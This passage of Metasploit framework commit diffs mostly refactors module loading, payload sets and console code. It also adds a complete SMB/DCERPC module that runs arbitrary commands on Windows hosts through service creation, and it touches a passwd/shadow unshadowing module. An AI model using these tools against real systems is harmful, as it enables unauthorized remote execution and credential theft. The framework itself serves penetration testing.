attr_accessor :postpone_recalculate
# Dummy placeholder to recalculate aliases and other fun things.
#
# @return [void]
@ -194,8 +176,6 @@ class Msf::ModuleSet < Hash
(self[name]) ? true : false
end
protected
# Adds a module with a the supplied name.
#
# @param [Class] mod The module class: a subclass of Msf::Module.
@ -226,25 +206,24 @@ class Msf::ModuleSet < Hash
mod
end
protected
# Load all modules that are marked as being symbolic.
#
# @return [void]
def demand_load_modules
found_symbolics = false
# Pre-scan the module list for any symbolic modules
self.each_pair { |name, mod|
if (mod == Msf::SymbolicModule)
self.postpone_recalculate = true
found_symbolics = true
mod = create(name)
next if (mod.nil?)
end
}
# If we found any symbolic modules, then recalculate.
if (self.postpone_recalculate)
self.postpone_recalculate = false
if (found_symbolics)
recalculate
end
end

View File

@ -63,15 +63,17 @@ class Msf::Modules::Loader::Base
# Regex that can distinguish regular ruby source from unit test source.
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
# @param [Msf::ModuleManager] module_manager The module manager that caches the loaded modules.
# @param [Msf::ModuleManager] module_manager The module manager that
# caches the loaded modules.
def initialize(module_manager)
@module_manager = module_manager
end
# Returns whether the path can be loaded this module loader.
#
# @abstract Override and determine from properties of the path or the file to which the path points whether it is
# loadable using {#load_modules} for the subclass.
# @abstract Override and determine from properties of the path or the
# file to which the path points whether it is loadable using
# {#load_modules} for the subclass.
#
# @param path (see #load_modules)
# @return [Boolean]
@ -81,22 +83,33 @@ class Msf::Modules::Loader::Base
# Loads a module from the supplied path and module_reference_name.
#
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed
# to {#load_modules}: it may just be derived from that path.
# @param [String] parent_path The path under which the module exists.
# This is not necessarily the same path as passed to
# {#load_modules}: it may just be derived from that path.
# @param [String] type The type of module.
# @param [String] module_reference_name The canonical name for referring to the module.
# @param [Hash] options Options used to force loading and track statistics
# @option options [Hash{String => Integer}] :count_by_type Maps the module type to the number of module loaded
# @option options [Boolean] :force (false) whether to force loading of the module even if the module has not changed.
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps type to whether its
# {Msf::ModuleManager::ModuleSets#module_set} needs to be recalculated.
# @param [String] module_reference_name The canonical name for
# referring to the module.
# @param [Hash] options Options used to force loading and track
# statistics
# @option options [Hash{String => Integer}] :count_by_type Maps the
# module type to the number of module loaded
# @option options [Boolean] :force (false) whether to force loading of
# the module even if the module has not changed.
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps
# type to whether its {Msf::ModuleManager::ModuleSets#module_set}
# needs to be recalculated.
# @option options [Boolean] :reload (false) whether this is a reload.
#
# @return [false] if :force is false and parent_path has not changed.
# @return [false] if exception encountered while parsing module content
# @return [false] if the module is incompatible with the Core or API version.
# @return [false] if the module does not implement a Metasploit(\d+) class.
# @return [false] if exception encountered while parsing module
# content
# @return [false] if the module is incompatible with the Core or API
# version.
# @return [false] if the module does not implement a Metasploit(\d+)
# class.
# @return [false] if the module's is_usable method returns false.
# @return [true] if all those condition pass and the module is successfully loaded.
# @return [true] if all those condition pass and the module is
# successfully loaded.
#
# @see #read_module_content
# @see Msf::ModuleManager::Loading#file_changed?
@ -121,8 +134,8 @@ class Msf::Modules::Loader::Base
module_content = read_module_content(parent_path, type, module_reference_name)
if module_content.empty?
# read_module_content is responsible for calling {#load_error}, so just return here.
return false
# read_module_content is responsible for calling {#load_error}, so just return here.
return false
end
try_eval_module = lambda { |namespace_module|
@ -139,9 +152,9 @@ class Msf::Modules::Loader::Base
begin
namespace_module.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
load_error(module_path, version_compatibility_error)
load_error(module_path, version_compatibility_error)
else
load_error(module_path, error)
load_error(module_path, error)
end
return false
@ -150,17 +163,17 @@ class Msf::Modules::Loader::Base
begin
namespace_module.version_compatible!(module_path, module_reference_name)
rescue Msf::Modules::VersionCompatibilityError => version_compatibility_error
load_error(module_path, version_compatibility_error)
load_error(module_path, version_compatibility_error)
return false
end
begin
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
metasploit_class = namespace_module.metasploit_class!(module_path, module_reference_name)
rescue Msf::Modules::MetasploitClassCompatibilityError => error
load_error(module_path, error)
load_error(module_path, error)
return false
return false
end
unless usable?(metasploit_class)
@ -227,12 +240,15 @@ class Msf::Modules::Loader::Base
# Loads all of the modules from the supplied path.
#
# @note Only paths where {#loadable?} returns true should be passed to this method.
# @note Only paths where {#loadable?} returns true should be passed to
# this method.
#
# @param [String] path Path under which there are modules
# @param [Hash] options
# @option options [Boolean] force (false) whether to force loading of the module even if the module has not changed.
# @return [Hash{String => Integer}] Maps module type to number of modules loaded
# @option options [Boolean] force (false) Whether to force loading of
# the module even if the module has not changed.
# @return [Hash{String => Integer}] Maps module type to number of
# modules loaded
def load_modules(path, options={})
options.assert_valid_keys(:force)
@ -396,28 +412,28 @@ class Msf::Modules::Loader::Base
raise ::NotImplementedError
end
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
#
# @param [String] module_path Path to the module as returned by {#module_path}.
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
# @return [void]
#
# @see #module_path
def load_error(module_path, error)
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
# backtraces should not appear.
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
# Records the load error to {Msf::ModuleManager::Loading#module_load_error_by_path} and the log.
#
# @param [String] module_path Path to the module as returned by {#module_path}.
# @param [Exception, #class, #to_s, #backtrace] error the error that cause the module not to load.
# @return [void]
#
# @see #module_path
def load_error(module_path, error)
# module_load_error_by_path does not get the backtrace because the value is echoed to the msfconsole where
# backtraces should not appear.
module_manager.module_load_error_by_path[module_path] = "#{error.class} #{error}"
log_lines = []
log_lines << "#{module_path} failed to load due to the following error:"
log_lines << error.class.to_s
log_lines << error.to_s
log_lines << "Call stack:"
log_lines += error.backtrace
log_lines = []
log_lines << "#{module_path} failed to load due to the following error:"
log_lines << error.class.to_s
log_lines << error.to_s
log_lines << "Call stack:"
log_lines += error.backtrace
log_message = log_lines.join("\n")
elog(log_message)
end
log_message = log_lines.join("\n")
elog(log_message)
end
# @return [Msf::ModuleManager] The module manager for which this loader is loading modules.
attr_reader :module_manager
@ -480,11 +496,14 @@ class Msf::Modules::Loader::Base
namespace_module_name
end
# Returns an Array of names to make a fully qualified module name to wrap the Metasploit(1|2|3) class so that it
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*'
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit.
# Returns an Array of names to make a fully qualified module name to
# wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
# (metasploit) module's classes. Invalid module name characters are
# escaped by using 'H*' unpacking and prefixing each code with X so
# the code remains a valid module name when it starts with a digit.
#
# @param [String] uniq_module_reference_name The unique canonical name for the module including type.
# @param [String] uniq_module_reference_name The unique canonical name
# for the module including type.
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
#
# @see namespace_module
@ -513,8 +532,9 @@ class Msf::Modules::Loader::Base
end
namespace_module = create_namespace_module(namespace_module_names)
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's
# constant if needed.
# Get the parent module from the created module so that
# restore_namespace_module can remove namespace_module's constant if
# needed.
parent_module = namespace_module.parent
begin
@ -557,21 +577,21 @@ class Msf::Modules::Loader::Base
if parent_module
# If there is a current module with relative_name
if parent_module.const_defined?(relative_name)
# if the current value isn't the value to be restored.
if parent_module.const_get(relative_name) != namespace_module
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
# if the current value isn't the value to be restored.
if parent_module.const_get(relative_name) != namespace_module
# remove_const is private, so use send to bypass
parent_module.send(:remove_const, relative_name)
# if there was a previous module, not set it to the name
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
# if there was a previous module, not set it to the name
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
else
# if there was a previous module, but there isn't a current module, then restore the previous module
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
# if there was a previous module, but there isn't a current module, then restore the previous module
if namespace_module
parent_module.const_set(relative_name, namespace_module)
end
end
end
end

View File

@ -20,12 +20,9 @@ class PayloadSet < ModuleSet
# Creates an instance of a payload set which is just a specialized module
# set class that has custom handling for payloads.
#
def initialize(manager)
def initialize
super(MODULE_PAYLOAD)
# A reference to the ModuleManager instance
self.manager = manager
# A hash of each of the payload types that holds an array
# for all of the associated modules
self.payload_type_modules = {}
@ -74,60 +71,36 @@ class PayloadSet < ModuleSet
# of singles, stagers, and stages.
#
def recalculate
# Reset the current hash associations for all non-symbolic modules
self.each_pair { |key, v|
manager.delete(key) if (v != SymbolicModule)
}
old_keys = self.keys
new_keys = []
self.delete_if { |k, v|
v != SymbolicModule
}
# Initialize a temporary hash
_temp = {}
# Populate the temporary hash
_singles.each_pair { |name, op|
_temp[name] = op
}
# Recalculate single payloads
_temp.each_pair { |name, op|
_singles.each_pair { |name, op|
mod, handler = op
# Build the payload dupe using the determined handler
# and module
p = build_payload(handler, mod)
# Sets the modules derived name
p.refname = name
# Add it to the set
add_single(p, name, op[5])
new_keys.push name
# Cache the payload's size
begin
sizes[name] = p.new.size
# Don't cache generic payload sizes.
rescue NoCompatiblePayloadError
end
}
# Initialize a temporary hash
_temp = {}
# Populate the temporary hash
_stagers.each_pair { |stager_name, op|
_temp[stager_name] = op
}
# Recalculate staged payloads
_temp.each_pair { |stager_name, op|
mod, handler = op
_stagers.each_pair { |stager_name, op|
stager_mod, handler, stager_platform, stager_arch, stager_inst = op
# Walk the array of stages
_stages.each_pair { |stage_name, ip|
stage_mod, junk, stage_platform, stage_arch, stage_inst = ip
stage_mod, _, stage_platform, stage_arch, stage_inst = ip
# No intersection between platforms on the payloads?
if ((stager_platform) and
@ -179,12 +152,20 @@ class PayloadSet < ModuleSet
'files' => op[5]['files'] + ip[5]['files'],
'paths' => op[5]['paths'] + ip[5]['paths'],
'type' => op[5]['type']})
new_keys.push combined
# Cache the payload's size
sizes[combined] = p.new.size
}
}
# Blow away anything that was cached but didn't exist during the
# recalculation
self.delete_if do |k, v|
next if v == SymbolicModule
!!(old_keys.include?(k) and not new_keys.include?(k))
end
flush_blob_cache
end
@ -276,8 +257,7 @@ class PayloadSet < ModuleSet
# returns an instance of that payload.
#
def find_payload_from_set(set, platform, arch, handler, session, payload_type)
set.each do |m|
name,mod = m
set.each do |name, mod|
p = mod.new
# We can't substitute one generic with another one.
@ -303,6 +283,8 @@ class PayloadSet < ModuleSet
#
def add_single(p, name, modinfo)
p.framework = framework
p.refname = name
p.file_path = modinfo['files'][0]
# Associate this class with the single payload's name
self[name] = p
@ -310,9 +292,6 @@ class PayloadSet < ModuleSet
# Add the singles hash
singles[name] = p
# Add it to the global module set
manager.add_module(p, name, modinfo)
dlog("Built single payload #{name}.", 'core', LEV_2)
end
@ -322,13 +301,12 @@ class PayloadSet < ModuleSet
#
def add_stage(p, full_name, stage_name, handler_type, modinfo)
p.framework = framework
p.refname = full_name
p.file_path = modinfo['files'][0]
# Associate this stage's full name with the payload class in the set
self[full_name] = p
# Add the full name association in the global module set
manager.add_module(p, full_name, modinfo)
# Create the hash entry for this stage and then create
# the associated entry for the handler type
stages[stage_name] = {} if (!stages[stage_name])
@ -445,7 +423,7 @@ protected
return klass
end
attr_accessor :manager, :payload_type_modules # :nodoc:
attr_accessor :payload_type_modules # :nodoc:
attr_writer :stages, :singles, :sizes # :nodoc:
attr_accessor :_instances # :nodoc:

View File

@ -74,12 +74,12 @@ module Banner
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
',
'
_ _
/ \\ / \\ __ _ __ /_/ __
| |\\ / | _____ \\ \\ ___ _____ | | / \\ _ \\ \\
| | \\/| | | ___\\ |- -| /\\ / __\\ | -__/ | | | | || | |- -|
|_| | | | _|__ | |_ / -\\ __\\ \\ | | | |_ \__/ | | | |_
|/ |____/ \\___\\/ /\\ \\___/ \\/ \\__| |_\\ \\___\\
_ _
/ \ /\ __ _ __ /_/ __
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\
',
%Q{
%whiIIIIII %reddTb.dTb%clr _.---._

View File

@ -1333,28 +1333,29 @@ class Core
match += val + " "
end
}
if framework.db and framework.db.migrated and framework.db.modules_cached
return search_modules_sql(match)
search_modules_sql(match)
return
end
print_error("Warning: database not connected or cache not built, falling back to slow search")
print_warning("Database not connected or cache not built, using slow search")
tbl = generate_module_table("Matching Modules")
[
framework.exploits,
framework.auxiliary,
framework.post,
framework.payloads,
[
framework.exploits,
framework.auxiliary,
framework.post,
framework.payloads,
framework.nops,
framework.encoders
framework.encoders
].each do |mset|
mset.each do |m|
o = mset.create(m[0])
o = mset.create(m[0]) rescue nil
# Expected if modules are loaded without the right pre-requirements
next if not o
if not o.search_filter(match)
tbl << [ o.fullname, o.disclosure_date.to_s, o.rank_to_s, o.name ]
end
@ -1363,7 +1364,7 @@ class Core
print_line(tbl.to_s)
end
def search_modules_sql(match)
tbl = generate_module_table("Matching Modules")
framework.db.search_modules(match).each do |o|
@ -1858,7 +1859,7 @@ class Core
end
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p)
p.options.sorted.each { |e|
name, opt = e
@ -2388,7 +2389,7 @@ class Core
# How about the selected payload?
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p and p.options.include?(opt))
res.concat(option_values_dispatch(p.options[opt], str, words))
end
@ -2622,7 +2623,7 @@ protected
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2687,7 +2688,7 @@ protected
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2710,7 +2711,7 @@ protected
# If it's an exploit and a payload is defined, create it and
# display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD'])
p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2796,4 +2797,3 @@ end
end end end end

View File

@ -228,10 +228,7 @@ class Driver < Msf::Ui::Driver
# Rebuild the module cache in a background thread
self.framework.threads.spawn("ModuleCacheRebuild", true) do
self.framework.cache_thread = Thread.current
self.framework.modules.refresh_cache_from_module_files
self.framework.cache_initialized = true
self.framework.cache_thread = nil
end
end
@ -531,7 +528,7 @@ class Driver < Msf::Ui::Driver
framework.modules.module_load_error_by_path.each do |path, error|
print_error("\t#{path}: #{error}")
end
end
end
framework.events.on_ui_start(Msf::Framework::Revision)
@ -554,7 +551,7 @@ class Driver < Msf::Ui::Driver
case var.downcase
when "payload"
if (framework and framework.modules.valid?(val) == false)
if (framework and framework.payloads.valid?(val) == false)
return false
elsif (active_module)
active_module.datastore.clear_non_user_defined

View File

@ -22,7 +22,7 @@ end
if not _msf_gemcache
# The user is running outside of the installer environment and not using
# our bundled gemset, so we fallback on bundler instead
ENV['BUNDLE_GEMFILE'] = ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile"))
ENV['BUNDLE_GEMFILE'] ||= ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile"))
begin
require 'bundler/setup'
rescue ::LoadError

View File

@ -181,7 +181,7 @@ class APIRequest
@trace = m.text
end
end
# This is a hack to handle corner cases where a heavily loaded Nexpose instance
# drops our HTTP connection before processing. We try 5 times to establish a
# connection in these situations. The actual exception occurs in the Ruby
@ -202,7 +202,7 @@ class APIRequest
# Handle console-level interrupts
rescue ::Interrupt
@error = "Received a user interrupt"
rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED
rescue ::Errno::ECONNRESET,::Errno::ECONNREFUSED,::Errno::ENOTCONN,::Errno::ECONNABORTED, ::OpenSSL::SSL::SSLError
@error = "Nexpose service is not available"
rescue ::REXML::ParseException
@error = "Nexpose has not been properly licensed"
@ -240,7 +240,7 @@ module NexposeAPI
opts.keys.each do |k|
xml.attributes[k] = "#{opts[k]}"
end
xml.text = data
xml
@ -252,7 +252,7 @@ module NexposeAPI
opts.keys.each do |k|
xml.attributes[k] = "#{opts[k]}"
end
xml.text = data
xml
@ -346,6 +346,26 @@ module NexposeAPI
res
end
def report_last_detail(param)
r = execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param }))
res = nil
if(r.success)
stk = {}
r.res.elements.each("//ReportSummary") do |rep|
stk[ rep.attributes['id'].to_i ] = {
'id' => rep.attributes['id'].to_i,
'url' => rep.attributes['report-URI'],
'status' => rep.attributes['status'],
'date' => rep.attributes['generated-on']
}
end
if (stk.keys.length > 0)
res = stk[ stk.keys.sort{|a,b| b[0] <=> a[0]}.first ]
end
end
res
end
def report_history(param)
execute(make_xml('ReportHistoryRequest', { 'reportcfg-id' => param }))
end
@ -504,10 +524,10 @@ module NexposeAPI
r = execute(make_xml('SiteDeleteRequest', { 'site-id' => param }))
r.success
end
def site_listing
r = execute(make_xml('SiteListingRequest', { }))
if(r.success)
res = []
r.res.elements.each("//SiteSummary") do |site|
@ -549,7 +569,7 @@ module NexposeAPI
def site_device_listing(site_id)
r = execute(make_xml('SiteDeviceListingRequest', { 'site-id' => site_id.to_s }))
if(r.success)
res = []
r.res.elements.each("//device") do |device|
@ -576,7 +596,7 @@ module NexposeAPI
template.elements.each("//description") do |ent|
desc = ent.text
end
res << {
:template_id => template.attributes['id'].to_s,
:name => template.attributes['name'].to_s,
@ -587,7 +607,7 @@ module NexposeAPI
else
return false
end
end
end
def console_command(cmd_string)
@ -595,7 +615,7 @@ module NexposeAPI
cmd = REXML::Element.new('Command')
cmd.text = cmd_string
xml << cmd
r = execute(xml)
if(r.success)
@ -603,12 +623,12 @@ module NexposeAPI
r.res.elements.each("//Output") do |out|
res << out.text.to_s
end
return res
else
return false
end
end
end
def system_information
r = execute(make_xml('SystemInformationRequest', { }))
@ -618,13 +638,13 @@ module NexposeAPI
r.res.elements.each("//Statistic") do |stat|
res[ stat.attributes['name'].to_s ] = stat.text.to_s
end
return res
else
return false
end
end
end
end
# === Description
@ -725,6 +745,7 @@ class Connection
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue
headers = {'Cookie' => "nexposeCCSessionID=#{@session_id}"}
resp = http.get(uri.path, headers)
resp ? resp.body : nil
end
end
@ -2312,7 +2333,7 @@ class ReportConfig
def generateReport(debug = false)
return generateReport(@connection, @config_id, debug)
end
# === Description
# Save the report definition to the NSC.
# Returns the config-id.
@ -2576,4 +2597,3 @@ def self.printXML(object)
end
end

View File

@ -45,6 +45,9 @@ class Console::CommandDispatcher::Stdapi::Sys
"-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
"-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
#
# Options for the 'ps' command.
#
@@ps_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-S" => [ true, "Filters processes on the process name using the supplied RegEx"],
@ -262,20 +265,46 @@ class Console::CommandDispatcher::Stdapi::Sys
# Kills one or more processes.
#
def cmd_kill(*args)
if (args.length == 0)
print_line(
"Usage: kill pid1 pid2 pid3 ...\n\n" +
"Terminate one or more processes.")
# give'em help if they want it, or seem confused
if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
cmd_kill_help
return true
end
# validate all the proposed pids first so we can bail if one is bogus
args.each do |arg|
if not is_valid_pid?(arg)
print_error("#{arg} is not a valid pid")
cmd_kill_help
return false
end
end
# kill kill kill
print_line("Killing: #{args.join(", ")}")
client.sys.process.kill(*(args.map { |x| x.to_i }))
return true
end
#
# help for the kill command
#
def cmd_kill_help
print_line("Usage: kill pid1 pid2 pid3 ...\n\nTerminate one or more processes.")
end
#
# Checks if +pid+ is a valid looking pid
#
def is_valid_pid?(pid)
# in lieu of checking server side for pid validity at the moment, we just sanity check here
pid.strip!
return false if pid.strip =~ /^-/ # invalid if it looks "negative"
return true if pid == "0" # allow them to kill pid 0, otherwise false
# cuz everything returned from .to_i that's not an int returns 0, we depend on the statement above
return true if pid.to_i > 0
end
#
# Lists running processes.
#

View File

@ -219,6 +219,33 @@ module Text
end
end
#
# Returns the words in +str+ as an Array.
#
# strict - include *only* words, no boundary characters (like spaces, etc.)
#
def self.to_words( str, strict = false )
splits = str.split( /\b/ )
splits.reject! { |w| !(w =~ /\w/) } if strict
splits
end
#
# Removes noise from 2 Strings and return a refined String version.
#
def self.refine( str1, str2 )
return str1 if str1 == str2
# get the words of the first str in an array
s_words = to_words( str1 )
# get the words of the second str in an array
o_words = to_words( str2 )
# get what hasn't changed (the rdiff, so to speak) as a string
(s_words - (s_words - o_words)).join
end
#
# Returns a unicode escaped string for Javascript
#

View File

@ -0,0 +1,270 @@
#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::DCERPC
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated Command Execution',
'Description' => %q{
This module uses a valid administrator username and password to execute an
arbitrary command on one or more hosts, using a similar technique than the "psexec"
utility provided by SysInternals. Daisy chaining commands with '&' does not work
and users shouldn't try it. This module is useful because it doesn't need to upload
any binaries to the target machine.
},
'Author' => [
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>',
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
], self.class)
deregister_options('RHOST')
end
def peer
return "#{rhost}:#{rport}"
end
# This is the main controle method
def run_host(ip)
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "%WINDIR%\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
smbshare = datastore['SMBSHARE']
#Try and authenticate with given credentials
if connect
begin
smb_login
rescue StandardError => autherror
print_error("#{peer} - Unable to authenticate with given credentials: #{autherror}")
return
end
if execute_command(ip, text, bat)
get_output(smbshare, ip, text)
end
cleanup_after(smbshare, ip, text, bat)
disconnect
end
end
# Executes specified Windows Command
def execute_command(ip, text, bat)
begin
#Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start cmd.exe /C #{bat}"
print_status("#{peer} - Executing the command...")
return psexec(execute)
rescue StandardError => exec_command_error
print_error("#{peer} - Unable to execute specified command: #{exec_command_error}")
return false
end
end
# Retrive output from command
def get_output(smbshare, ip, file)
begin
print_status("#{peer} - Getting the command output...")
simple.connect("\\\\#{ip}\\#{smbshare}")
outfile = simple.open(file, 'ro')
output = outfile.read
outfile.close
simple.disconnect("\\\\#{ip}\\#{smbshare}")
if output.empty?
print_status("#{peer} - Command finished with no output")
return
end
print_good("#{peer} - Command completed successfuly! Output:\r\n#{output}")
return
rescue StandardError => output_error
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
return
end
end
# This is the cleanup method, removes .txt and .bat file/s created during execution-
def cleanup_after(smbshare, ip, text, bat)
begin
# Try and do cleanup command
cleanup = "%COMSPEC% /C del %SYSTEMDRIVE%#{text} & del #{bat}"
print_status("#{peer} - Executing cleanup...")
psexec(cleanup)
if !check_cleanup(smbshare, ip, text)
print_error("#{peer} - Unable to cleanup. Maybe you'll need to manually remove #{text} and #{bat} from the target.")
else
print_status("#{peer} - Cleanup was successful")
end
rescue StandardError => cleanuperror
print_error("#{peer} - Unable to processes cleanup commands. Error: #{cleanuperror}")
print_error("#{peer} - Maybe you'll need to manually remove #{text} and #{bat} from the target")
return cleanuperror
end
end
def check_cleanup(smbshare, ip, text)
simple.connect("\\\\#{ip}\\#{smbshare}")
begin
if checktext = simple.open(text, 'ro')
check = false
else
check = true
end
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return check
rescue StandardError => check_error
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return true
end
end
# This code was stolen straight out of psexec.rb. Thanks very much HDM and all who contributed to that module!!
# Instead of uploading and runing a binary. This method runs a single windows command fed into the COMMAND paramater
def psexec(command)
simple.connect("IPC$")
handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
vprint_status("#{peer} - Binding to #{handle} ...")
dcerpc_bind(handle)
vprint_status("#{peer} - Bound to #{handle} ...")
vprint_status("#{peer} - Obtaining a service manager handle...")
scm_handle = nil
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(0) +
NDR.long(0xF003F)
begin
response = dcerpc.call(0x0f, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
scm_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
servicename = Rex::Text.rand_text_alpha(11)
displayname = Rex::Text.rand_text_alpha(16)
holdhandle = scm_handle
svc_handle = nil
svc_status = nil
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.uwstring(displayname) +
NDR.long(0x0F01FF) + # Access: MAX
NDR.long(0x00000110) + # Type: Interactive, Own process
NDR.long(0x00000003) + # Start: Demand
NDR.long(0x00000000) + # Errors: Ignore
NDR.wstring( command ) +
NDR.long(0) + # LoadOrderGroup
NDR.long(0) + # Dependencies
NDR.long(0) + # Service Start
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) + # Password
NDR.long(0) # Password
begin
vprint_status("#{peer} - Creating the service...")
response = dcerpc.call(0x0c, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
svc_status = dcerpc.last_response.stub_data[24,4]
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception
end
vprint_status("#{peer} - Opening service...")
begin
stubdata =
scm_handle +
NDR.wstring(servicename) +
NDR.long(0xF01FF)
response = dcerpc.call(0x10, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
svc_handle = dcerpc.last_response.stub_data[0,20]
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
vprint_status("#{peer} - Starting the service...")
stubdata =
svc_handle +
NDR.long(0) +
NDR.long(0)
begin
response = dcerpc.call(0x13, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
return false
end
vprint_status("#{peer} - Removing the service...")
stubdata =
svc_handle
begin
response = dcerpc.call(0x02, stubdata)
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
end
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
end
vprint_status("#{peer} - Closing service handle...")
begin
response = dcerpc.call(0x0, svc_handle)
rescue ::Exception => e
print_error("#{peer} - Error: #{e}")
end
select(nil, nil, nil, 1.0)
simple.disconnect("IPC$")
return true
end
end

View File

@ -31,15 +31,15 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptPath.new('passwd', [true, 'The path to the passwd file']),
OptPath.new('shadow', [true, 'The path to the shadow file']),
OptPath.new('PASSWD_PATH', [true, 'The path to the passwd file']),
OptPath.new('SHADOW_PATH', [true, 'The path to the shadow file']),
OptAddress.new('IP', [true, 'The IP address if the host the shadow file came from']),
], self.class)
end
def run
unshadow = john_unshadow(datastore['passwd'],datastore['shadow'])
unshadow = john_unshadow(datastore['PASSWD_PATH'],datastore['SHADOW_PATH'])
if unshadow
print_good(unshadow)
filename= "#{datastore['IP']}_Linux_Hashes.txt"

View File

@ -61,11 +61,11 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options(
[
OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]),
OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
